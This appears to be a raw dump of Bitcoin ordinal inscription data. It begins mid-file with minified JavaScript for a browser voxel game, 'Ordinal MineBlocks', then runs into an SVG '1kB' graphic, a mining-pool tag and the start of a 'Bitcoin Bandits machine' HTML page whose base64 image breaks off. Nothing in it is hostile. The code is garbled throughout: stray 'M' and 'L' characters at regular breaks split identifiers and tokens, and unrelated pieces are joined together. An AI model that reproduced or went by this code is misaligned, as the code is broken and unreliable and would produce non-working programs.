,g=a.x-(0|a.x),M=a.y-(0|a.y),b=a.z-(0|a.z);v=v?0:1;for(var _=0;_<r;_++)for(var x=(0,d.calcArcFromLength)(_,r),A=(_-r/2)/n,S=f?_%2+v-1:0;S<n;S+=f?2:1){for(var k,E=(0,d.calcArcFromLength)(S,n),L=s+(s*x+s*E)/2,T=(S-n/2)/n,C=h+T*p,O=T*h-p,I=A*w+C*y,P=C*w-A*y,j=0,R=255,z=0;3>z;z++){k=I,1==z&&(k=O),2==z&&(k=P);var B=1/Math.abs(k),N=I*B,D=O*B,F=P*B,G=g;1==z&&(G=M),2==z&&(G=b),0<k&&(G=1-G);var q=a.x+N*G,H=a.y+D*G,W=a.z+F*G;0>k&&(z||q--,1==z&&H--,2==z&&W--);for(var X,Z=B*G,J=c.MAP_SIZE-1;Z<L;){if(X=(0,d.getBlock)(q&J,63&H,WM
&J),(W>J||63<H||q>J||0>W||0>H||0>q)&&(X=0),0<X){var K=15&16*(q+W),Y=16+(15&16*H);1==z&&(K=15&16*q,Y=15&16*W,0>D&&(Y+=32));var V=e[K+16*Y+256*X*3];if(0<V){if(j=V,1==z&&(9==X||10==X)){var U=K+Y*(m+1)*16+256*X*3;9==X&&7680>U?j=e[U]:10==X&&8680>U&&(j=e[U])}var Q=u.default.timeModifier(),$=1-Z/s*Q;R=(255-(z+2)%3*50)*$,L=Z}}q+=N,H+=D,W+=F,Z+=B}}(0,l.default)(_,S,R,j)}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=r(13),i=n(o),a=r(5),u=n(a),c=r(2),f=r(1),s=n(f),l=r(0),d=r(3),v=n(M
d),m=r(9),h=r(7),p=r(18),w=r(4),y=w.RES,g=y.WIDTH,M=y.HEIGHT,b=0|w.MAP_SIZE/2;document.title="Ordinal MineBlocks",window.game={CONST:w},window.game={CONST:w,width:g,height:M,getTime:c.getTime,setTime:c.setTime,player:{x:b,y:0,z:b,velocity:0,pitch:-.1,yaw:0},hotbar:{selected:0,side:0,items:Array(21).fill(0)},map:h.map(),texmap:h.textures(),ctx:document.getElementById("game").getContext("2d"),fps:0,scanlinesEnabled:!0,renderDistance:32},document.addEventListener("DOMContentLoaded",function(){var t=window,e=t.game,r=eM
.width,n=e.height,o=e.ctx,a=document.getElementById("toolbar"),c=(0,l.getCanvas)();c.width=r,c.height=n;var f=function(){var t=1.3334*window.innerHeight,e=window.innerHeight;.75*window.innerWidth<window.innerHeight&&(t=window.innerWidth,e=.75*window.innerWidth),c.setAttribute("style","width: "+t+"px; height: "+e+"px")};e.pixels=o.createImageData(r,n),e.pixels.data.fill(255),window.addEventListener("resize",f),f(),m.init(),p.clock.init(),setTimeout(u.default.main,500),(0,s.default)(function(){window.game}),a.addEvenM
tListener("click",function(t){var r=t.target.id;"lock"===r?a.classList.toggle("extended"):"save"===r?(0,i.default)():"load"===r?window.location.reload():"plus"===r?e.renderDistance+=5:"minus"===r?e.renderDistance-=5:"interlace"===r?setTimeout(function(){return e.scanlinesEnabled=!e.scanlinesEnabled},1):"newseeed"===r&&confirm("Generate a new seed? This will erase your current save.")&&(w.LOCAL_STORAGE.forEach(function(t){return localStorage.removeItem(t)}),v.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INM
TEGER),window.location.reload()),5>e.renderDistance?e.renderDistance=5:255<e.renderDistance&&(e.renderDistance=255)})})},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){for(var t="",e=m(h()),r=m(window.game.map),n=0;n<r.length;n++){var o=e[n],i=r[n];t+=o===i?"-":i}return t}function i(t){for(var e="",r=t[0],n=1,o=1;o<t.length;o++)t[o]===r?n++:(e+=1==n?r:n+r,r=t[o],n=1);return e+=n+r}Object.defineProperty(e,"__esModule",{value:!0}),e.stringify=void 0;var a=r(5),u=r(2),c=r(M
7),f=n(c),s=r(3),l=n(s),d=r(6),v=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)}),m=e.stringify=function(t){return t.map(function(t){return t.map(function(t){return t.map(function(t){return v[t]||v[0]}).join("")}).join("")}).join("")},h=function(){return window.game._map=window.game._map||f.default.map()};e.default=function(){var t=window,e=t.game;l.default.safeSet("_mct",(0,u.getTime)()),l.default.safeSet("_mci",JSON.stringify(e.hotbar.items));var r=o();console.log("saving mapStr length",r.leM
ngth);var n=i(r),c=d.compress(n);console.log("minified",n.length,n),console.log("compressed",c.length,c),l.default.safeSet("_mcm",c);var f=d.decompress(c);(0,a.unMinify)(f)===r?console.log("success"):console.log("Could not save map internally")}},function(t,e,r){"use strict";function n(t,e,r,n){for(var o=e*r%6+6,i=0;i<o;i++)t[e][r-i][n]=7;for(var a=o;0<a;a-=3)for(var u=-1;2>u;u++)for(var f=-1;2>f;f++)c(f+e,r-a,u+n,8,t,7)}var o=Math.floor,i=r(3),a=function(t){return t&&t.__esModule?t:{default:t}}(i),u=r(0),c=u.setBlM
ock,f=r(8),s=r(15),l=a.default.exits(),d=a.default.safeGet("_mcs");l?!d&&(a.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INTEGER),window.location.reload()):(d=0,document.querySelector(".nosaving").classList.toggle("show"),console.log('no localstorage. Using seed "0". No saving permitted'));var v=s(d),m={1:1,2:1,4:1};t.exports=function(){for(var t=window.game.CONST,e=t.SEA_LEVEL,r=t.MAP_SCALE,i=t.MAP_SIZE,a=f(),u=function(){return Array(i)},c=document.getElementById("loading"),s=u(),l=u(),d=0;d<i;d++){s[d]M
=u(),l[d]=u();for(var h,p=0;p<i;p++){h=v(d/r,p/r,0),h*=10,h+=32,h=o(h),s[d][p]=h;var w=v(d/2,p/2,0);w*=3,w=o(w),l[d][p]=w,window.treeMap=l}}console.log("ran");for(var y=0;y<i;y++)for(var g,M=0;M<i;M++){g=s[y][M],a[y][g][M]=g<=e?1:12;for(var b=g-1;b>e;b--)a[y][b][M]=9;for(var _=g+1;64>_;_++)a[y][_][M]=4;-2>=l[y][M]&&g<e&&n(a,y,g-1,M),34==g&&(a[y][g][M]=13);for(var x=e-5;64>x;x++){if(48<x){var A=v(y/r*4,x/r*2,M/r*4);if(.55<A&&.6>A){var S=a[y][x][M];m[S]&&(a[y][x][M]=10)}}var k=v(y/r*2,x/r*4,M/r*2);if(.35<k&&.8>k){varM
 E=a[y][x][M];m[E]&&(a[y][x][M]=0)}var L=v(y/r*8,x/r*8,M/r*8);if(.2<L&&.8>L){var T=a[y][x][M];m[T]&&(50>x&&.2<L&&.21>L?a[y][x][M]=14:42<x&&50>x&&.55<L&&.6>L?a[y][x][M]=15:48<x&&.7<L&&(a[y][x][M]=16))}if(61<x)if(63==x)a[y][x][M]=11;else{var C=v(y/r*64,x/r*64,M/r*64);.1<C&&(a[y][x][M]=11)}}}return c.hidden=!0,a}},function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t){if(Array.isArray(t)){for(var e=0,r=Array(t.length);e<t.length;e++)r[e]M
=t[e];return r}return Array.from(t)}var i=function(){function t(t,e){for(var r,n=0;n<e.length;n++)r=e[n],r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}return function(e,r,n){return r&&t(e.prototype,r),n&&t(e,n),e}}(),a=r(16),u=function(t){return t&&t.__esModule?t:{default:t}}(a);t.exports=function(){for(var t,e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:1,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:Array(512),a=-1,c=Math.floor,M
f=[].concat(o(r)),s=function(t){return t*t*t*(t*(6*t-15)+10)},l=function(t,e,r){return(1-r)*t+r*e},d=[[1,1],[a,1],[1,a],[a,a],[1,,1],[a,,1],[1,,a],[a,,a],[,1,1],[,a,1],[,1,a],[,a,a]].map(function(t){return new(Function.prototype.bind.apply(function(){function t(){var e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:0,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:0,o=2<arguments.length&&void 0!==arguments[2]?arguments[2]:0;n(this,t),this.x=e,this.y=r,this.z=o}return i(t,[{key:"d",value:function(t,M
e,r){return this.x*t+this.y*e+this.z*r}}]),t}(),[null].concat(o(t))))}),v=0;256>v;v++)t=(0,u.default)(e+v,256)^(1&v?255&e:255&e>>8),r[v]=r[v+256]=t,f[v]=f[v+256]=d[t%12];return function(t,e,n){var o=c(t),i=c(e),a=c(n);t-=o,e-=i,n-=a,o&=255,i&=255,a&=255;var u=s(t),d=s(e),v=s(n),m=i+r[a],h=i+r[a+1],p=o+r[m],w=o+r[h],y=o+r[m+1],g=o+r[h+1];return l(l(l(f[p].d(t,e,n),f[p+1].d(t-1,e,n),u),l(f[w].d(t,e,n-1),f[w+1].d(t-1,e,n-1),u),v),l(l(f[y].d(t,e-1,n),f[y+1].d(t-1,e-1,n),u),l(f[g].d(t,e-1,n-1),f[g+1].d(t-1,e-1,n-1),u),vM
),d)}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.default=function(t,e){return(""+(2147483647&Math.imul(48271,t))/2147483648).split("").slice(-10).join("")%e}},function(t){"use strict";t.exports=function(){for(var t=Array(12288),e=1;21>e;e++)for(var r=255-(0|96*Math.random()),n=0;48>n;n++)!function(n){for(var o=0;16>o;o++)!function(o){var i=9858122,a=r;if(32<=n&&(a/=2),(4!=e&&6!=e||0==(0|3*Math.random()))&&(r=255-(0|96*Math.random())),1==e&&(n<18+(3&o*o*3+81*o>>2)?i=6990400:1==e&M
&n<19+(3&o*o*3+81*o>>2)&&(r=2*r/3)),3==e&&(i=14606046,0<o&&15>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(a=0)),4==e&&(i=8355711),5==e&&(i=11876885,(0==(o+4*(n>>2))%8||0==n%4)&&(i=12365733)),6==e&&(i=10519115,0==(0|16*Math.random())&&(r=255-(0|96*Math.random())),0==n%4&&(a=132)),7==e)if(i=6771249,0<o&&15>o&&(0<n&&15>n||32<n&&47>n)){i=12359778;var u=o-7,c=(15&n)-7;0>u&&(u=1-u),0>c&&(c=1-c),c>u&&(u=c),r=196-(0|32*Math.random())+u%3*32}else 0==(0|2*Math.random())&&(r=r*(140-100*(1&o))/100);8==e&&(i=5298487,0==(0|2*Math.rM
andom())&&(i=0,a=255)),9==e&&(i=4219135,a=192+(0|32*Math.random())),10==e&&(i=15810114,a=192+(0|32*Math.random()),0==(0|2*Math.random())&&(i=15834690)),11==e&&(i=4392035,0==(0|2*Math.random())&&(i=2294851)),12==e&&(i=15196080,1>16*Math.random()&&(a=164+4*o)),13==e&&(i=15200224,1>16*Math.random()&&(i=16232346));var f=function(t){2<o&&13>o&&(2<n&&13>n||18<n&&29>n)&&1>4*Math.random()&&(i=t)};14==e&&(i=8355711,f(15810114)),15==e&&(i=8355711,f(15778600)),16==e&&(i=8355711,f(4517357)),17==e&&(i=13704738,1>16*Math.random(M
)&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15810114),r=255)),18==e&&(i=13673224,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15778600),r=255)),19==e&&(i=3386283,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=4517357),r=255)),20==e&&(i=8355711,1<=(0|4*Math.random())&&(Math.random(),i=5277975));var s=(255&i>>16)*a/255<<16|(255&i>>8)*a/255<<8|(255&i)*a/255;t[o+16*n+256*e*3]=s}(o)}(n);return t}},funcM
tion(t,e,r){"use strict";var n=r(19),o=r(11);t.exports={clock:n,render:o}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){var t=window.game,e=t.ctx,r=t.pixels;window._tick+=1,d.applyGravity(),d.calculateMovement(),m(),f.default.drawIcons(),e.putImageData(r,0,0),f.default.drawHotbarBorder(),f.default.drawIconNumers(),(0,l.default)()}function i(t){var e=window.game.CONST.MAX_FPS;return t-h<1e3/e?window.requestAnimationFrame(i):(o(),h=t,void window.requestAnimationFrame(i)M
)}var a=r(1),u=n(a),c=r(10),f=n(c),s=r(20),l=n(s),d=r(9),v=r(11),m=v.render,h=0;t.exports={init:function(){window._tick=0;var t=document.querySelector(".fps");(0,u.default)(function(){var e=window._tick;window.game.fps=e,t&&(t.innerText=e.toString()+" fps"),window._tick=0}),window.requestAnimationFrame?window.requestAnimationFrame(i):setInterval(o,10)}}},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n,o,i,a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a);e.default=funM
ction(){var t=window.game,e=t.ctx,r=t.width,a=t.height;e.lineWidth=1,e.strokeStyle="#fff",e.strokeStyle="rgb("+n+","+o+","+i+")",e.strokeRect(r/2-1,a/2-1,2,2)},(0,u.default)(function(){var t=window.game,e=t.pixels,r=t.width,a=t.height,u=4*(r/2+(a/2-5)*r);n=255&e.data[u+0]+128,o=255&e.data[u+1]+128,i=255&e.data[u+2]+128})},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.M
push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),o=r(2),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=r(0);e.default=function(t,e,r,o){var u=window.game,c=u.pixels,f=u.width,s=i.default.color,l=(0,a.isInsideCheck)(),d=i.default.timeModifier(),v=s(),m=n(v,3)L
,h=m[0],p=m[1],w=m[2],y=255*r/48960;l||(y*=1-d/2);var g=(255&o>>16)*y,M=(255&o>>8)*y,b=(255&o)*y,_=4*(t+e*f);c.data[_+0]=g||h,c.data[_+1]=M||p,c.data[_+2]=b||w}}]);
</script></body></html>
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" style="background:#b0752b;font-family:monospace" viewBox="0 0 1080 1920"><style>svg{animation:a ease-in-out
9s infinite}@keyframes a{from{transform:translateY(0%)}50%{transform:translateY(1%)}to{transform:translateY(0%)}}path,g{transform-origin:50%}@media(min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g g{transform:translate(15%,7%)scale(1.55)}}</style><g><path d="M942 1752V274l-30-101c-4-12-13-33-39-33H207c-25 0-35 22-38 33l-30 101v1483c0 M
18 19 22 42 22h718c30 0 43-12 43-27" fill="#b0752b"/><path d="M912 173v1370c0 28 2 57 7 85l23 124V274l-30-101zm-49 1385H221c-21 0-39 15-42 35l-26 151c-4 21 16 35 33 35h709c17 0 37-17 34-35l-27-153c-3-20-20-33-39-33zm-724 194 23-124c5-28 7-57 7-85V173l-30 101v1478zM873 140H208c-16 0-28 12-28 27v1348c0 17 14 31 31 31h659c17 0 31-14 31-31V167c0-15-13-27-28-27z" fill="#fed65c"/><g><text x="50%" y="49%" text-anchor="middle" style="fill:#b0752b;font-size:256px;pointer-events:none">1kB</text></g></g></svg>h!
c/Foundry USA Pool #dropgold/
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, iVBORw0KGgoAAAANSUhEUgAAAWgAAAFoCAYAAAB65WHVAAAbFElEQVR4nO3db6xV1ZnH8edaELUCRe54La1QlEFtrJnR2LEyVEVGMsZBkjrVF8YUR4dm0mpGQW1oeEG0RUGN1qRqO8E4b7SlE0aNo45DtUbbiWKMNYI3KAWU6FRAof5BrHdeXPbezz5nrbv32v/Oc875ft50sdhn78XFLp7z22uvPTBnwcIRAQCYc0inBwAAcGOCBgCjmKABwCgmaAAwigkaAIxiggYAo5igAcAoJmgAMIoJGgCMYoIGAKOYoAHAKCZoADCKCRoAjGKCBgCjmKABwCgmaAAwigkaAIxiggYAo5igAcAoJmgAMIoJGgCMYoIGAKOYoAHAKCZoADCKCRoAjGKCBgCjmKABM
wKhxnR4A7Hr28Yc6PQRUZM6ChZ0eAgqgggYAo5igAcAoIg54o4wnvvu7uH3e3We09T/9X8Nx31l/Pztuh/QXPUfT1+vWMd+07TJB96KCBgCjmKABwKiBOQsWjnR6EGiOK87QUYaPjjiWz7hfRET+6sRpcd+O13fH7WOPPyp3f8ixur/p63XTmE+ePz1uR39vrOLoTlTQAGAUEzQAGEXE0aPyrMyIbP/1285jp59zTNx2reJ45cntcd+kzx0at7d+vDduzzxs0pj9Icfq/pBjq7ie9THruOmlzTvjdrSKg4ijO1FBA4BRrIPuASE3/nzVcohona2vals7bkvcnnz7DWOe6/3vr3Iem9Wf59gqrnflVY/E7RWfvjj6+z91X8N1rD4+dY2Ac/iOvfZfn4jb+iahXhN9093Oj6JLUEEDgFFM0ABgFBFHFwm58fed/340bq8cd2ql44i+QuubhPrmlXyaNC+ZnvwnNnHR+rZzrRH3sfdk9KfOO3Bycj4VIyz5zx+2XTv0M
ei6pz114Y9zep64nF77Sdrz3z5RxDt/PcOuBj+O2jpv0o97oblTQAGAUEzQAGEXEYVBIlCGSjjOakLWKY+l4FTmor++Tf+JeHRF5YHuSjSwdGPscrrhkrPNdmfO8ec6tz1u0v/Cxd14QN1nF0fuooAHAKCZoADCKiKPDQh4yuXrhKe6TNBxxZK3i2PvnT+L2Us8Ki2U3LBERkaFVyWqH4bf2JMeOJP3vHDxWREQOnmOZ6lt987POcerzZSl67FBAf8ixul/36T8rqzh6HxU0ABjFBA0ARhFxNCRkZYYvyhje95mzf8jZW5+QvTjevugs9UnV3rK57bwjjj5fv+7TO+nph2T0MbsOxgG+B2pcx/qODxlnnvGHHLv0W1Pj9r3r98VtVnH0JipoADCKCrpioWuYXdWyr1KWve8XHleVXDcJdTW99PXD4vaxLyXbjTtfA6VuIqaOzehP9ambknfM+mbS/6tdyTkOjk+PIetY3/GpY33ncPSHHKv7U336NVfqz637uUnYM
O6igAcAoJmgAMIqIo4Qq1jA74wxPlDGy6938g6tR9BVa34zSX6tD+oueo+nrdeuYuUnY3aigAcAoJmgAMIq3eudQ5xpmV5zhjTL2uPuPWfe0+/iDQjbs12/y1vRbvdF9eKt3d6KCBgCjmKABwChWcbQouzIj9CETZ5zhiTJG/vCG+9wFueIMX5Qxb968Sq+Nam3YsMHZT7TR3aigAcAoJmgAMKpvI47aVmaEPmTiiDN8UcbI7m3uc2T8OxuyMoMowzaijP5CBQ0ARjFBA4BRfRVx6Fhj+Yz747beu6DsyozQh0xccYY3yvjkA3e/TGzrue/vzo/bvpUZ5w+uae982XMJNO7Rd5e29RFl9BcqaAAwqq8qaB9dNZe+8Re4htlZLXsq5WlvtlfKof7lS/fG7VmHfyH3506ePz1uRxv161dDTR1/WNtn6uQaT6uQ8eU5X9kx5RmPPsejB3eio2ruX1TQAGAUEzQAGEXEIS2xRskbf8FrmB1xRmiUEbJbnRZ9ndZfx31fM
w11f2UNjjSpjkjwxRBXnCxlf1pj056uIVND7qKABwCgmaAAwiohDJBVrlF2ZEbqGOSTOKBpl+GTFFiFfw/Mcq9+bF10nTwxR5eqIPHGO5ur3jcd3Pte1XT8LoBUVNAAYxQQNAEYRcUhLrFF2ZYbBKMNny0fviYjIOScfF/fteH133M6KNa7Z8m11skqHllbFuascX+C5bpNftPXpWOPY448qOyL0KCpoADCKCRoAjCLiEEnFGmVXZjT1kEkVor04Vlx9ZuaxV171SNyOoo2/WXBhLePqNdc8Pvrzum1We9Qhko6VJs88spExoTtQQQOAUVTQkq6au/3GX4jo5tQl05P/DCYuWt+h0fS+n915gbNffzsBNCpoADCKCRoAjCLikJZYwxVnHPjI88mxIw6LsYYW3Zx6YPunSafna/jKO55LflHnmuce5ouS9q1flBx014vNDQjmUUEDgFFM0ABgFBGHSDrWcMUZ4w9vbiwNih719q0iWHb9nLit1+qiGB0lrVSPd69QM
/d9odESwjgoaAIxiggYAo4g4RNKxhivOOPTzzY2lQdGj3ku/NdV9wJbNzQ2mDwy/tSduv7R5p7Mf0KigAcAoJmgAMIqIQyQdazjijIGjZrg/98aOmgbk9vDPFzj7n//Oj9v67pPzc593za92ZR6j37eHYkZUZKQ37B9JRUm9GaehGCpoADCKClokVTW7quWBrxzX1iciIi/UU0H7KuVTp3zO2f98yevpVy7pvaH1+mjePF2e75tKqn8+FTQSVNAAYBQTNAAYRcQh6VjDGWdMGazt2q44wxdlTBk/UssY9GPcesc1VCtPlARoVNAAYBQTNAAYxfdZaYk1HHHGwNTyEUfIygxflHHV4qud/dPk6OIDa7Hyt3+M26srOytEiJIQjgoaAIxiggYAo/ieJZKKNZxxxqTJuU91+n0/iNsPq/6QlRm+KKPqFwdEG/ZHu9qJtD52nNArEHgnYTH6cfn/UJv0X9mJwaArUEEDgFFM0ABgFBGHtMQajjhj9kT3v2OzVZwRCX3IM
xBln+KKMil8coKONyA8eeEuNI9l/g3cSlqf3M9Gb9KfiI0ChggYAo5igAcAoIg6RVKzhijNmTxxwfqyKh0xC3oFY14sDfnbnBXFb7wvh60d5erWMjo8mzzyyE8OBUVTQAGAUFbSkq2ZXtVzrGuaAV2zV9eIA32PHPI5cH71JP68Tgw8VNAAYxQQNAEbxHVbSsUbpG3+Ba5iD3oFY8YsDovW3Oxatj/tSNwZVP8rTP1uNG7DwoYIGAKOYoAHAKCIOSccapVdmBK5h/qJjBcbbf/119zkqeHGAFq2/XXb9nLhvtfq6neq/+dlKr92P9KqYiSo+2rd+UXLQXS82NyCYRwUNAEYxQQOAUUQcko41yq7MCIkyfLxRRsCLA0L4Nun39aOYBzyb9Ov+bzQ4HthHBQ0ARjFBA4BRRBzSEmuUXJkREmWIiKwcd2pb3xJPlOF7ccD7QVdsp/eF8PWzX0R5vk36dT+gUUEDgFFU0CLpqrmmG3+uStnH+4otz77Uz+c+s5vvEWSNM
x5HL8+0Bnb4ZW+1rzdDdqKABwCgmaAAwiohDJBVrBO0ulxFxhMQaWsgrtkTKRxwr73gubr966zfj9kR2s6vUgy8l6+31fzmpm7TziTiQoIIGAKOYoAHAKCIOSccazjij4o3ys4S8A7EKekXByt/+MW6vruVq/WvF1WdmHnPHQy83MBJ0CypoADCKCRoAjCLikJZYwxFnVL1RfhZflLHngHt1R1FbPnpPRERmHf6FuM+3g51+NFm2VDqMvqE37P/qtb+J2zpikvnTmxwSjKOCBgCjmKABwCgiDpFUrOGMM2raKN/HF2W8uOfPlV5HRxsR3852qa/hKERvzC+eFR2s4ggz4bp9cXv/LRM7OJJ6UEEDgFFU0NJSNTuq5br2YfbxVcrD++pZB613s9O71vn6UYze9/mGG/8nbk8df1hyEDcJM82eNjVuDz52QvIbp4z+z3Mvv9bwiOpDBQ0ARjFBA4BRRBwiqVjDFWfUtVG+jy/KGN73mbN/qOT19PrcPP0oRq8x//ElM
X3Ie81hduVkP+XTrq3F73J+mOI44tLnB1IwKGgCMYoIGAKP4DivpWMMVZ9S1Ub6IyK23n9fW54syZG+133+jx7d3qI35Uys32LC/Ur415ils2A+FChoAjGKCBgCjiDgkHWu44owqNsp3RRkinjjDE2WM7Hq39Dg01+Pb+mEKVEvvCMij88Vt2Z/UlW/t+qT9gPGs4gAA1IwJGgCMIuKQdKzhijNCNsqf/JMb4vatqj9kZYY3ythTbcTh4tuwX7tt1i9EROSax79d93B6QvTz8sUauw583ORwut6sCcn/l748tT3O+M3eJkdTLypoADCKCRoAjCLikHSs4YozfNt/6jgjEvqQiTPO8EQZI394w33uCj34UvKz2KH69dfwaHvM6Ks78nH9DFvbgEYFDQBGUUFLump2VctBu8uFrmF2VMu+Snlk9zb3OUr+O5u6SeW5keWq8nzrepfddH7cXr380TGvHXKsPj7Psb6KNXKy2hz/lSe3O/tD+M4R9esxsCa6ONZBAwA6M
jgkaAIwi4pB0rOGKM+pcw+yKM7xRxicfuPul3NuMi96k8sUaIy/+r7NfxxJRf8ix+vg80UjWn0tHEnn6Q2Sdg1ijONZBAwA6jgkaAIwi4pB0rFF6ZUbgGmZnnOGJMqa9WS7KyMO3uiBrRYQvkvDFD1F/yLH6+DyrOLRo/HrsRVdxhK74cMUdWT9PQIQKGgDMYoIGAKOIOKQl1ii5MiP4IRNHnNFElOHjW10Q8jU8JH4IjSpCj4+4xl/FKo6iKz6INYrjQRUAQMcxQQOAUUQcIqlYo+zKjNCHTKqIM1aOO7Wtb/uv347bT3z3d3H7vLvPaDt23rx5pcdgxfLly+P28ccfH7cnTZrUduyUKVPi9rnnnlvvwHJ6ZDhpR38vGx5/yHnsnAULmxiSOTyoAgDoOCpoaamay974a7hSzsNXTUdcVbWIyOLFiwtdr2mXXnpp3PZVzbpajuzZk7zBfN26dXH72muvrXqIpfj+HtauXevs79fKuhdRQQOAUUzQAGAUEYdIKtYoM
e+Ovk1FGHjruiLhiDxHb0ce2bb6XF9R/zX8fTq49adHcuH3hq8ma6BkzZrR97qnzbo/7TjjlL+P2F9dc4PxclpDoo5dij5B10GeeckLcfu7l12odVx2ooAHAKCZoADBqYM6Che4X7vWgZ9V60uUz7o/bPzpjf9y2vDLj1tvPc/a///1VlV1Dm37OMc5+V/TRydij6rgjK2bwXa+uz1Wh21d8zJ421dk/ODg45ue6MdbQqKABwCgmaAAwilUc0hJrGFiZ4YsyfO9GHCo0omyuFR8i9h52aSIiqOJ6TY9T68aHXXSsMbxzV9xeed3VcVvHRtHPd8UtdzQwumZQQQOAUUzQAGAUEYdIKtYoG2eErphwxRm+KMP3bsSmVfGwC2yLVjx1MurQsUYeEy6+aLRx2tyxD+wiVNAAYBQVtBSvmmu78ed7i/iWzbmv17SQG4oiSWX98xPWx30rPn0xbr9zw5Ixrze06h7nsVn9eY7NuubbF50V9x2z7um4rfvvXb8vbkd/Lt81M
9N+rPl90fJ5xZp3D5541zzv7r3ht0Zif66S4UhYRueXWuLn/wYM7EnKTEABQNyZoADCKiCOHOtcwO98i7okyfC8OsExHH75Hx7O4voavKDyihP57XeGJEfS1q7hmxB9bPN1+cAXn0P9N6filG8VRhohIB3Y1bBIVNAAYxQQNAEYRcbQoG2eErmF2xRnedyB+uMfZ3ytSP3sdLThWdwytSvp859CxRbTC4l7PqoWQ8a3wrJIoc+66dXus4XPU0u8lv/jlw50bSE2ooAHAKCZoADCKiEOyY406HzJxvgPRF2V8vNfdX/Df2aKrKurif1Dl9NLnOOZg3LHEs0Kj1y1Z6v4ZdvvPYPeau+L2II96AwCawgQNAEbxTkIRmXnYpLhddmVG6EMmzjjDF2UUfDeijnB0rMFOc/CxsGG/z80bn4nbw2ovDjbsBwA0hgkaAIxiFYekY42yKzOCHzJxxRmeKEMOfOTul3IvGZg3b16pz6MeGzZsEBHbcUMn+PbiYMN+AEBjqKClM
pWoueeMvT6U87Q397+Joe+eX1aO4vkp5/OHu/pI6+bZppA0ODsbtqIKGX+pR70MmdG4gNaGCBgCjmKABwCgiDpFUrFH6xl9GlOGlYw1flHHo58c+B9AH9DsJe3OPvgQVNAAYxQQNAEYRcUg61ii/MqPgv3k61vBFGeqR9LQ/Fbtmj3h15+64/dVpRzn7XfSxqIbeTqEuf+v9nQ9H/6fgGPTzAHoFja+/ifXpVNAAYBQTNAAYRcQh6Vij0pUZHq4XBFxx6AvJLzxRxsARUzxn7I6IwxU5+GKGrNgiTzzhOiYr9kA5M2fO7PQQCtu6dWvc1n8OX38TqKABwCgmaAAwiohDWmKNzN3l8u8cl/WuwxQVa/iijIGvHOf+7As78l+nIF/kkPf3W0XHhH6uqJBoBLCCChoAjKKCFklXza69mFO7y+V/vVQIXTX7KuWBWSd6Pv10oWtmKVo1h1TFTVTNdV8HqAsVNAAYxQQNAEYRcYikYw3XZvk1bZSv6VjDG2VMmlz7OHxcM
cUHIY9WhikYmPiFrsFHctNlfa+t7783XOzCScoaGhuL2/vFHdmwcVNAAYBQTNAAYRcQhkr1ZfgMb5adiDU+UMXui+99T9zvHq5X1uHWeuKNopFB0JQgRhg2TJvl2YbRLv6dzeOeujo2DChoAjGKCBgCjiDhEsjfLT+0uV9POcSrW8EUZl0x3/3XdU8uAwlZS8FAIUD0qaAAwigkaAIwi4hBJxxqOzfLTu8vVE3HoWMMXZUwZP1LLtfOoek+Nbdu2iUj6HW+9avHixZ0eAroUFTQAGEUFLZK5F3Nqd7ma9l7WVbOvUr5q8dXO/mlydC1jqlpUNYsklbN+Y7Jee9rt5s6dG7cvv/xyEenfSvqQSX8RtyccSL6BFl1rfPPGZ5LP3XJr2/lW3HJH0PiiMVlZ+6xRQQOAUUzQAGAUEYdkb5af3l2uns3xdazhizKa2FXPuqeeekpERI647YjMY+//WhJd3XWT72UH6fPmOXee827atClzfP1IxwiDg4NxOyRS2P/guuQXM
